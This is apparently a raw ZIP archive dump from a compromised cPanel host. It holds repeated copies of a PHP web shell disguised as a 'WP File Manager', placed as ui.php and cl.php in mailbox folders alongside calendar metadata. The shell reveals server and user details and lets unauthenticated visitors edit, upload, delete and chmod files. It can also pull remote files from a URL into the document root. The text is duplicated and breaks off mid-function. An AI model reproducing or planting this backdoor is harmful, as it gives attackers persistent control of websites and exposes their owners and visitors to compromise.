← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëinfo@gjilan.org/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]‹È&,BB'macedonia@dunyagozbalkans.com/.metadatanu"º] €[calendar] description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar protected 1 type VCALENDAR [addressbook] protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. type VADDRESSBOOK PK“&{]Ù{‚‰BBinfo@gjilan.al/.metadatanu„[µü¤[calendar] type VCALENDAR protected 1 calendar-color #ff6c2c displayname cPanel CalDAV Calendar description Default Calendar automatically created for your account. [addressbook] type VADDRESSBOOK displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 PK“&{]„N9³§Ë§Ëinfo@gjilan.al/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 